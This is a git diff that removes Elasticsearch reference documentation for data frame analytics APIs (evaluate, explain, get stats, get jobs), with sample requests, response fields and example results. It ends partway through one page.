-
-
-[[ml-evaluate-dfanalytics-example]]
-== {api-examples-title}
-
-
-[[ml-evaluate-oldetection-example]]
-=== {oldetection-cap}
-
-[source,console]
---------------------------------------------------
-POST _ml/data_frame/_evaluate
-{
-  "index": "my_analytics_dest_index",
-  "evaluation": {
-    "outlier_detection": {
-      "actual_field": "is_outlier",
-      "predicted_probability_field": "ml.outlier_score"
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:TBD]
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "outlier_detection": {
-    "auc_roc": {
-      "score": 0.92584757746414444
-    },
-    "confusion_matrix": {
-      "0.25": {
-          "tp": 5,
-          "fp": 9,
-          "tn": 204,
-          "fn": 5
-      },
-      "0.5": {
-          "tp": 1,
-          "fp": 5,
-          "tn": 208,
-          "fn": 9
-      },
-      "0.75": {
-          "tp": 0,
-          "fp": 4,
-          "tn": 209,
-          "fn": 10
-      }
-    },
-    "precision": {
-        "0.25": 0.35714285714285715,
-        "0.5": 0.16666666666666666,
-        "0.75": 0
-    },
-    "recall": {
-        "0.25": 0.5,
-        "0.5": 0.1,
-        "0.75": 0
-    }
-  }
-}
-----
-
-
-[[ml-evaluate-regression-example]]
-=== {regression-cap}
-
-[source,console]
---------------------------------------------------
-POST _ml/data_frame/_evaluate
-{
-  "index": "house_price_predictions", <1>
-  "query": {
-      "bool": {
-        "filter": [
-          { "term":  { "ml.is_training": false } } <2>
-        ]
-      }
-  },
-  "evaluation": {
-    "regression": { 
-      "actual_field": "price", <3>
-      "predicted_field": "ml.price_prediction", <4>
-      "metrics": {  
-        "r_squared": {},
-        "mse": {},
-        "msle": {"offset": 10},
-        "huber": {"delta": 1.5}
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:TBD]
-
-<1> The output destination index from a {dfanalytics} {reganalysis}.
-<2> In this example, a test/train split (`training_percent`) was defined for the 
-{reganalysis}. This query limits evaluation to be performed on the test split 
-only. 
-<3> The ground truth value for the actual house price. This is required in order 
-to evaluate results.
-<4> The predicted value for house price calculated by the {reganalysis}.
-
-
-The following example calculates the training error:
-
-[source,console]
---------------------------------------------------
-POST _ml/data_frame/_evaluate
-{
-  "index": "student_performance_mathematics_reg",
-  "query": {
-    "term": {
-      "ml.is_training": {
-        "value": true <1>
-      }
-    }
-  },
-  "evaluation": {
-    "regression": { 
-      "actual_field": "G3", <2>
-      "predicted_field": "ml.G3_prediction", <3>
-      "metrics": {  
-        "r_squared": {},
-        "mse": {},
-        "msle": {},
-        "huber": {}
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:TBD]
-
-<1> In this example, a test/train split (`training_percent`) was defined for the 
-{reganalysis}. This query limits evaluation to be performed on the train split 
-only. It means that a training error will be calculated.
-<2> The field that contains the ground truth value for the actual student 
-performance. This is required in order to evaluate results.
-<3> The field that contains the predicted value for student performance 
-calculated by the {reganalysis}.
-
-
-The next example calculates the testing error. The only difference compared with 
-the previous example is that `ml.is_training` is set to `false` this time, so 
-the query excludes the train split from the evaluation.
-
-[source,console]
---------------------------------------------------
-POST _ml/data_frame/_evaluate
-{
-  "index": "student_performance_mathematics_reg",
-  "query": {
-    "term": {
-      "ml.is_training": {
-        "value": false <1>
-      }
-    }
-  },
-  "evaluation": {
-    "regression": { 
-      "actual_field": "G3", <2>
-      "predicted_field": "ml.G3_prediction", <3>
-      "metrics": {  
-        "r_squared": {},
-        "mse": {},
-        "msle": {},
-        "huber": {}
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:TBD]
-
-<1> In this example, a test/train split (`training_percent`) was defined for the 
-{reganalysis}. This query limits evaluation to be performed on the test split 
-only. It means that a testing error will be calculated.
-<2> The field that contains the ground truth value for the actual student 
-performance. This is required in order to evaluate results.
-<3> The field that contains the predicted value for student performance 
-calculated by the {reganalysis}.
-
-
-[[ml-evaluate-classification-example]]
-=== {classification-cap}
-
-
-[source,console]
---------------------------------------------------
-POST _ml/data_frame/_evaluate
-{ 
-   "index": "animal_classification",
-   "evaluation": {
-      "classification": { <1>
-         "actual_field": "animal_class", <2>
-         "predicted_field": "ml.animal_class_prediction", <3>
-         "metrics": {  
-           "multiclass_confusion_matrix" : {} <4>
-         }
-      }
-   }
-}
---------------------------------------------------
-// TEST[skip:TBD]
-
-<1> The evaluation type.
-<2> The field that contains the ground truth value for the actual animal 
-classification. This is required in order to evaluate results.
-<3> The field that contains the predicted value for animal classification by 
-the {classanalysis}.
-<4> Specifies the metric for the evaluation.
-
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-   "classification" : {
-      "multiclass_confusion_matrix" : {
-         "confusion_matrix" : [
-         {
-            "actual_class" : "cat", <1>
-            "actual_class_doc_count" : 12, <2>
-            "predicted_classes" : [ <3>
-              {
-                "predicted_class" : "cat",
-                "count" : 12 <4>
-              },
-              {
-                "predicted_class" : "dog",
-                "count" : 0 <5>
-              }
-            ],
-            "other_predicted_class_doc_count" : 0 <6>
-          },
-          {
-            "actual_class" : "dog",
-            "actual_class_doc_count" : 11,
-            "predicted_classes" : [
-              {
-                "predicted_class" : "dog",
-                "count" : 7
-              },
-              {
-                "predicted_class" : "cat",
-                "count" : 4
-              }
-            ],
-            "other_predicted_class_doc_count" : 0
-          }
-        ],
-        "other_actual_class_count" : 0
-      }
-    }
-  }
---------------------------------------------------
-<1> The name of the actual class that the analysis tried to predict.
-<2> The number of documents in the index that belong to the `actual_class`.
-<3> This object contains the list of the predicted classes and the number of 
-predictions associated with the class.
-<4> The number of cats in the dataset that are correctly identified as cats.
-<5> The number of cats in the dataset that are incorrectly classified as dogs.
-<6> The number of documents that are classified as a class that is not listed as 
-a `predicted_class`.
-
-
-
-[source,console]
---------------------------------------------------
-POST _ml/data_frame/_evaluate
-{
-   "index": "animal_classification",
-   "evaluation": {
-      "classification": { <1>
-         "actual_field": "animal_class", <2>
-         "metrics": {
-            "auc_roc" : { <3>
-              "class_name": "dog" <4>
-            }
-         }
-      }
-   }
-}
---------------------------------------------------
-// TEST[skip:TBD]
-
-<1> The evaluation type.
-<2> The field that contains the ground truth value for the actual animal 
-classification. This is required in order to evaluate results.
-<3> Specifies the metric for the evaluation.
-<4> Specifies the class name that is treated as positive during the evaluation, 
-all the other classes are treated as negative.
-
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "classification" : {
-    "auc_roc" : {
-      "score" : 0.8941788639536681
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:TBD]
\ No newline at end of file
diff --git a/docs/reference/ml/df-analytics/apis/explain-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/explain-dfanalytics.asciidoc
deleted file mode 100644
index ccd33b8500e..00000000000
--- a/docs/reference/ml/df-analytics/apis/explain-dfanalytics.asciidoc
+++ /dev/null
@@ -1,180 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[explain-dfanalytics]]
-= Explain {dfanalytics} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Explain {dfanalytics}</titleabbrev>
-++++
-
-Explains a {dataframe-analytics-config}.
-
-experimental[]
-
-
-[[ml-explain-dfanalytics-request]]
-== {api-request-title}
-
-`GET _ml/data_frame/analytics/_explain` +
-
-`POST _ml/data_frame/analytics/_explain` +
-
-`GET _ml/data_frame/analytics/<data_frame_analytics_id>/_explain` +
-
-`POST _ml/data_frame/analytics/<data_frame_analytics_id>/_explain`
-
-
-[[ml-explain-dfanalytics-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following privileges:
-
-* cluster: `monitor_ml`
-  
-For more information, see <<security-privileges>> and {ml-docs-setup-privileges}.
-
-
-[[ml-explain-dfanalytics-desc]]
-== {api-description-title}
-
-This API provides explanations for a {dataframe-analytics-config} that either 
-exists already or one that has not been created yet.
-The following explanations are provided:
-
-* which fields are included or not in the analysis and why,
-* how much memory is estimated to be required. The estimate can be used when 
-  deciding the appropriate value for `model_memory_limit` setting later on.
-
-If you have object fields or fields that are excluded via source filtering,
-they are not included in the explanation.
-
-
-[[ml-explain-dfanalytics-path-params]]
-== {api-path-parms-title}
-
-`<data_frame_analytics_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics]
-
-[[ml-explain-dfanalytics-request-body]]
-== {api-request-body-title}
-
-A {dataframe-analytics-config} as described in <<put-dfanalytics>>.
-Note that `id` and `dest` don't need to be provided in the context of this API.
-
-[role="child_attributes"]
-[[ml-explain-dfanalytics-results]]
-== {api-response-body-title}
-
-The API returns a response that contains the following:
-
-`field_selection`::
-(array)
-An array of objects that explain selection for each field, sorted by 
-the field names.
-+
-.Properties of `field_selection` objects
-[%collapsible%open]
-====
-`is_included`:::
-(Boolean) Whether the field is selected to be included in the analysis.
-
-`is_required`:::
-(Boolean) Whether the field is required.
-
-`feature_type`:::
-(string) The feature type of this field for the analysis. May be `categorical` 
-or `numerical`.
-
-`mapping_types`:::
-(string) The mapping types of the field.
-
-`name`:::
-(string) The field name.
-
-`reason`:::
-(string) The reason a field is not selected to be included in the analysis.
-====
-
-`memory_estimation`::
-(object)
-An object containing the memory estimates.
-+
-.Properties of `memory_estimation`
-[%collapsible%open]
-====
-`expected_memory_with_disk`:::
-(string) Estimated memory usage under the assumption that overflowing to disk is 
-allowed during {dfanalytics}. `expected_memory_with_disk` is usually smaller 
-than `expected_memory_without_disk` as using disk allows to limit the main 
-memory needed to perform {dfanalytics}.
-
-`expected_memory_without_disk`:::
-(string) Estimated memory usage under the assumption that the whole 
-{dfanalytics} should happen in memory (i.e. without overflowing to disk).
-====
-
-
-
-[[ml-explain-dfanalytics-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _ml/data_frame/analytics/_explain
-{
-  "source": {
-    "index": "houses_sold_last_10_yrs"
-  },
-  "analysis": {
-    "regression": {
-      "dependent_variable": "price"
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:TBD]
-
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "field_selection": [
-    {
-      "field": "number_of_bedrooms",
-      "mappings_types": ["integer"],
-      "is_included": true,
-      "is_required": false,
-      "feature_type": "numerical"
-    },
-    {
-      "field": "postcode",
-      "mappings_types": ["text"],
-      "is_included": false,
-      "is_required": false,
-      "reason": "[postcode.keyword] is preferred because it is aggregatable"
-    },
-    {
-      "field": "postcode.keyword",
-      "mappings_types": ["keyword"],
-      "is_included": true,
-      "is_required": false,
-      "feature_type": "categorical"
-    },
-    {
-      "field": "price",
-      "mappings_types": ["float"],
-      "is_included": true,
-      "is_required": true,
-      "feature_type": "numerical"
-    }
-  ],
-  "memory_estimation": {
-    "expected_memory_without_disk": "128MB",
-    "expected_memory_with_disk": "32MB"
-  }
-}
-----
diff --git a/docs/reference/ml/df-analytics/apis/get-dfanalytics-stats.asciidoc b/docs/reference/ml/df-analytics/apis/get-dfanalytics-stats.asciidoc
deleted file mode 100644
index 333e7a017de..00000000000
--- a/docs/reference/ml/df-analytics/apis/get-dfanalytics-stats.asciidoc
+++ /dev/null
@@ -1,601 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[get-dfanalytics-stats]]
-= Get {dfanalytics-jobs} statistics API
-[subs="attributes"]
-++++
-<titleabbrev>Get {dfanalytics-jobs} stats</titleabbrev>
-++++
-
-Retrieves usage information for {dfanalytics-jobs}.
-
-experimental[]
-
-[[ml-get-dfanalytics-stats-request]]
-== {api-request-title}
-
-`GET _ml/data_frame/analytics/<data_frame_analytics_id>/_stats` +
-
-`GET _ml/data_frame/analytics/<data_frame_analytics_id>,<data_frame_analytics_id>/_stats` +
-
-`GET _ml/data_frame/analytics/_stats` +
-
-`GET _ml/data_frame/analytics/_all/_stats` +
-
-`GET _ml/data_frame/analytics/*/_stats`
-
-
-[[ml-get-dfanalytics-stats-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following privileges:
-
-* cluster: `monitor_ml`
-  
-For more information, see <<security-privileges>> and {ml-docs-setup-privileges}.
-
-[[ml-get-dfanalytics-stats-path-params]]
-== {api-path-parms-title}
-
-`<data_frame_analytics_id>`::
-(Optional, string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics-default]
-
-
-[[ml-get-dfanalytics-stats-query-params]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-match]
-
-`from`::
-(Optional, integer) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=from]
-
-`size`::
-(Optional, integer) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=size]
-
-`verbose`::
-(Optional, Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=verbose]
-
-[role="child_attributes"]
-[[ml-get-dfanalytics-stats-response-body]]
-== {api-response-body-title}
-
-`data_frame_analytics`::
-(array)
-An array of objects that contain usage information for {dfanalytics-jobs}, which
-are sorted by the `id` value in ascending order.
-+
-.Properties of {dfanalytics-job} usage resources
-[%collapsible%open]
-====
-//Begin analysis_stats
-`analysis_stats`:::
-(object)
-An object containing information about the analysis job.
-+
-.Properties of `analysis_stats`
-[%collapsible%open]
-=====
-//Begin classification_stats
-`classification_stats`::::
-(object)
-An object containing information about the {classanalysis} job.
-+
-.Properties of `classification_stats`
-[%collapsible%open]
-======
-//Begin class_hyperparameters
-`hyperparameters`::::
-(object)
-An object containing the parameters of the {classanalysis} job.
-+
-.Properties of `hyperparameters`
-[%collapsible%open]
-=======
-`alpha`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-alpha]
-
-`class_assignment_objective`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=class-assignment-objective]
-
-`downsample_factor`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-downsample-factor]
-
-`eta`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=eta]
-
-`eta_growth_rate_per_tree`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-eta-growth]
-
-`feature_bag_fraction`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=feature-bag-fraction]
-
-`gamma`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=gamma]
-
-`lambda`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=lambda]
-
-`max_attempts_to_add_tree`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-max-attempts]
-
-`max_optimization_rounds_per_hyperparameter`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-max-optimization-rounds]
-
-`max_trees`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=max-trees]
-
-`num_folds`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-num-folds]
-
-`num_splits_per_feature`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-num-splits]
-
-`soft_tree_depth_limit`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-soft-limit]
-
-`soft_tree_depth_tolerance`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-soft-tolerance]
-=======
-//End class_hyperparameters
-
-`iteration`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-iteration]
-
-`timestamp`::::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timestamp]
-
-//Begin class_timing_stats
-`timing_stats`::::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timing-stats]
-+
-.Properties of `timing_stats`
-[%collapsible%open]
-=======
-`elapsed_time`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timing-stats-elapsed]
-
-`iteration_time`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timing-stats-iteration]
-=======
-//End class_timing_stats
-
-//Begin class_validation_loss
-`validation_loss`::::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-validation-loss]
-+
-.Properties of `validation_loss`
-[%collapsible%open]
-=======
-`fold_values`::::
-(array of strings)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-validation-loss-fold]
-
-`loss_type`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-validation-loss-type]
-=======
-//End class_validation_loss
-======
-//End classification_stats
-
-//Begin outlier_detection_stats
-`outlier_detection_stats`::::
-(object)
-An object containing information about the {oldetection} job.
-+
-.Properties of `outlier_detection_stats`
-[%collapsible%open]
-======
-//Begin parameters
-`parameters`::::
-(object)
-The list of job parameters specified by the user or determined by algorithmic 
-heuristics.
-+
-.Properties of `parameters`
-[%collapsible%open]
-=======
-`compute_feature_influence`::::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=compute-feature-influence]
-
-`feature_influence_threshold`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=feature-influence-threshold]
-
-`method`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=method]
-
-`n_neighbors`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=n-neighbors]
-
-`outlier_fraction`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=outlier-fraction]
-
-`standardization_enabled`::::
-(Boolean)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=standardization-enabled]
-=======
-//End parameters
-
-`timestamp`::::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timestamp]
-
-//Begin od_timing_stats
-`timing_stats`::::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timing-stats]
-+
-.Property of `timing_stats`
-[%collapsible%open]
-=======
-`elapsed_time`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timing-stats-elapsed]
-=======
-//End od_timing_stats
-======
-//End outlier_detection_stats
-
-//Begin regression_stats
-`regression_stats`::::
-(object)
-An object containing information about the {reganalysis}.
-+
-.Properties of `regression_stats`
-[%collapsible%open]
-======
-//Begin reg_hyperparameters
-`hyperparameters`::::
-(object)
-An object containing the parameters of the {reganalysis}.
-+
-.Properties of `hyperparameters`
-[%collapsible%open]
-=======
-`alpha`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-alpha]
-
-`downsample_factor`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-downsample-factor]
-
-`eta`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=eta]
-
-`eta_growth_rate_per_tree`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-eta-growth]
-
-`feature_bag_fraction`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=feature-bag-fraction]
-
-`gamma`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=gamma]
-
-`lambda`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=lambda]
-
-`max_attempts_to_add_tree`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-max-attempts]
-
-`max_optimization_rounds_per_hyperparameter`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-max-optimization-rounds]
-
-`max_trees`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=max-trees]
-
-`num_folds`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-num-folds]
-
-`num_splits_per_feature`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-num-splits]
-
-`soft_tree_depth_limit`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-soft-limit]
-
-`soft_tree_depth_tolerance`::::
-(double)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-soft-tolerance]
-=======
-//End reg_hyperparameters
-
-`iteration`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-iteration]
-
-`timestamp`::::
-(date)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timestamp]
-
-//Begin reg_timing_stats
-`timing_stats`::::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timing-stats]
-+
-.Propertis of `timing_stats`
-[%collapsible%open]
-=======
-`elapsed_time`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timing-stats-elapsed]
-
-`iteration_time`::::
-(integer)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-timing-stats-iteration]
-=======
-//End reg_timing_stats
-
-//Begin reg_validation_loss
-`validation_loss`::::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-validation-loss]
-+
-.Properties of `validation_loss`
-[%collapsible%open]
-=======
-`fold_values`::::
-(array of strings)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-validation-loss-fold]
-
-`loss_type`::::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=dfas-validation-loss-type]
-=======
-//End reg_validation_loss
-======
-//End regression_stats
-=====
-//End analysis_stats
-
-
-`assignment_explanation`:::
-(string)
-For running jobs only, contains messages relating to the selection of a node to 
-run the job.
-
-//Begin data_counts
-`data_counts`:::
-(object)
-An object that provides counts for the quantity of documents skipped, used in
-training, or available for testing.
-+
-.Properties of `data_counts`
-[%collapsible%open]
-=====
-`skipped_docs_count`:::
-(integer)
-The number of documents that are skipped during the analysis because they 
-contained values that are not supported by the analysis. For example, 
-{oldetection} does not support missing fields so it skips documents with missing 
-fields. Likewise, all types of analysis skip documents that contain arrays with 
-more than one element.
-
-`test_docs_count`:::
-(integer)
-The number of documents that are not used for training the model and can be used 
-for testing.
-
-`training_docs_count`:::
-(integer)
-The number of documents that are used for training the model.
-=====
-//End data_counts
-
-`id`:::
-(string)
-The unique identifier of the {dfanalytics-job}.
-
-`memory_usage`:::
-(Optional, object)
-An object describing memory usage of the analytics. It is present only after the 
-job is started and memory usage is reported.
-+
-.Properties of `memory_usage`
-[%collapsible%open]
-=====
-`memory_reestimate_bytes`::::
-(long)
-This value is present when the `status` is `hard_limit` and it
-is a new estimate of how much memory the job needs.
-
-`peak_usage_bytes`::::
-(long)
-The number of bytes used at the highest peak of memory usage.
-
-`status`::::
-(string)
-The memory usage status. May have one of the following values:
-+
---
-* `ok`: usage stayed below the limit.
-* `hard_limit`: usage surpassed the configured memory limit.
---
-
-`timestamp`::::
-(date)
-The timestamp when memory usage was calculated.
-=====
-
-`node`:::
-(object)
-Contains properties for the node that runs the job. This information is 
-available only for running jobs.
-+
-.Properties of `node`
-[%collapsible%open]
-=====
-`attributes`:::
-(object)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-attributes]
-
-`ephemeral_id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-ephemeral-id]
-
-`id`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-id]
-
-`name`:::
-(string)
-The node name.
-
-`transport_address`:::
-(string)
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=node-transport-address]
-=====
-
-`progress`:::
-(array) The progress report of the {dfanalytics-job} by phase.
-+
-.Properties of phase objects
-[%collapsible%open]
-=====
-`phase`:::
-(string) Defines the phase of the {dfanalytics-job}. Possible phases: 
-* `reindexing`, 
-* `loading_data`, 
-* `computing_outliers` (for {oldetection} only),
-* `feature_selection` (for {regression} and {classification} only),
-* `coarse_parameter_search` (for {regression} and {classification} only),
-* `fine_tuning_parameters` (for {regression} and {classification} only),
-* `final_training` (for {regression} and {classification} only),
-* `writing_results`,
-* `inference` (for {regression} and {classification} only).
-+
-To learn more about the different phases, refer to
-{ml-docs}/ml-dfa-phases.html[How a {dfanalytics} job works].
-    
-`progress_percent`:::
-(integer) The progress that the {dfanalytics-job} has made expressed in 
-percentage.
-=====
-
-`state`:::
-(string) The status of the {dfanalytics-job}, which can be one of the following
-values: `analyzing`, `failed`, `reindexing`, `started`, `starting`, `stopped`,
-`stopping`.
-====
-//End of data_frame_analytics
-
-[[ml-get-dfanalytics-stats-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no
-  resources that match the request or only partial matches for the request.
-
-
-[[ml-get-dfanalytics-stats-example]]
-== {api-examples-title}
-
-The following API retrieves usage information for the
-{ml-docs}/ecommerce-outliers.html[{oldetection} {dfanalytics-job} example]:
-
-[source,console]
---------------------------------------------------
-GET _ml/data_frame/analytics/ecommerce/_stats
---------------------------------------------------
-// TEST[skip:Kibana sample data]
-
-
-The API returns the following results:
-
-[source,console-result]
-----
-{
-  "count" : 1,
-  "data_frame_analytics" : [
-    {
-      "id" : "ecommerce",
-      "state" : "stopped",
-      "progress" : [
-        {
-          "phase" : "reindexing",
-          "progress_percent" : 100
-        },
-        {
-          "phase" : "loading_data",
-          "progress_percent" : 100
-        },
-        {
-          "phase" : "analyzing",
-          "progress_percent" : 100
-        },
-        {
-          "phase" : "writing_results",
-          "progress_percent" : 100
-        }
-      ],
-      "data_counts" : {
-        "training_docs_count" : 3321,
-        "test_docs_count" : 0,
-        "skipped_docs_count" : 0
-      },
-      "memory_usage" : {
-        "timestamp" : 1586905058000,
-        "peak_usage_bytes" : 279484
-      },
-      "analysis_stats" : {
-        "outlier_detection_stats" : {
-          "timestamp" : 1586905058000,
-          "parameters" : {
-            "n_neighbors" : 0,
-            "method" : "ensemble",
-            "compute_feature_influence" : true,
-            "feature_influence_threshold" : 0.1,
-            "outlier_fraction" : 0.05,
-            "standardization_enabled" : true
-          },
-          "timing_stats" : {
-            "elapsed_time" : 245
-          }
-        }
-      }
-    }
-  ]
-}
-----
diff --git a/docs/reference/ml/df-analytics/apis/get-dfanalytics.asciidoc b/docs/reference/ml/df-analytics/apis/get-dfanalytics.asciidoc
deleted file mode 100644
index cb1d5690afd..00000000000
--- a/docs/reference/ml/df-analytics/apis/get-dfanalytics.asciidoc
+++ /dev/null
@@ -1,215 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[get-dfanalytics]]
-= Get {dfanalytics-jobs} API
-[subs="attributes"]
-++++
-<titleabbrev>Get {dfanalytics-jobs}</titleabbrev>
-++++
-
-Retrieves configuration information for {dfanalytics-jobs}.
-
-experimental[]
-
-
-[[ml-get-dfanalytics-request]]
-== {api-request-title}
-
-`GET _ml/data_frame/analytics/<data_frame_analytics_id>` +
-
-`GET _ml/data_frame/analytics/<data_frame_analytics_id>,<data_frame_analytics_id>` +
-
-`GET _ml/data_frame/analytics/` +
-
-`GET _ml/data_frame/analytics/_all`
-
-
-[[ml-get-dfanalytics-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following privileges:
-
-* cluster: `monitor_ml`
-  
-For more information, see <<security-privileges>> and {ml-docs-setup-privileges}.
-
-
-[[ml-get-dfanalytics-desc]]
-== {api-description-title}
-
-You can get information for multiple {dfanalytics-jobs} in a single API request 
-by using a comma-separated list of {dfanalytics-jobs} or a wildcard expression.
-
-
-[[ml-get-dfanalytics-path-params]]
-== {api-path-parms-title}
-
-`<data_frame_analytics_id>`::
-(Optional, string) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=job-id-data-frame-analytics-default]
-+
---
-You can get information for all {dfanalytics-jobs} by using _all, by specifying 
-`*` as the `<data_frame_analytics_id>`, or by omitting the 
-`<data_frame_analytics_id>`.
---
-
-
-[[ml-get-dfanalytics-query-params]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=allow-no-match]
-
-`from`::
-(Optional, integer) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=from]
-
-`size`::
-(Optional, integer) 
-include::{es-repo-dir}/ml/ml-shared.asciidoc[tag=size]
-
-[role="child_attributes"]
-[[ml-get-dfanalytics-results]]
-== {api-response-body-title}
-
-`data_frame_analytics`::
-(array)
-An array of {dfanalytics-job} resources, which are sorted by the `id` value in 
-ascending order.
-+
-.Properties of {dfanalytics-job} resources
-[%collapsible%open]
-====
-`analysis`:::
-(object) The type of analysis that is performed on the `source`.
-
-//Begin analyzed_fields
-`analyzed_fields`:::
-(object) Contains `includes` and/or `excludes` patterns that select which fields 
-are included in the analysis.
-+
-.Properties of `analyzed_fields`
-[%collapsible%open]
-=====
-`excludes`:::
-(Optional, array) An array of strings that defines the fields that are excluded 
-from the analysis.
-    
-`includes`:::
-(Optional, array) An array of strings that defines the fields that are included 
-in the analysis.
-=====
-//End analyzed_fields
-//Begin dest
-`dest`:::
-(string) The destination configuration of the analysis.
-+
-.Properties of `dest`
-[%collapsible%open]
-=====
-`index`:::
-(string) The _destination index_ that stores the results of the 
-{dfanalytics-job}.
-
-`results_field`:::
-(string) The name of the field that stores the results of the analysis. Defaults 
-to `ml`.
-=====
-//End dest
-
-`id`:::
-(string) The unique identifier of the {dfanalytics-job}.
-
-`model_memory_limit`:::
-(string) The `model_memory_limit` that has been set to the {dfanalytics-job}.
-
-`source`:::
-(object) The configuration of how the analysis data is sourced. It has an 
-`index` parameter and optionally a `query` and a `_source`.
-+
-.Properties of `source`
-[%collapsible%open]
-=====
-`index`:::
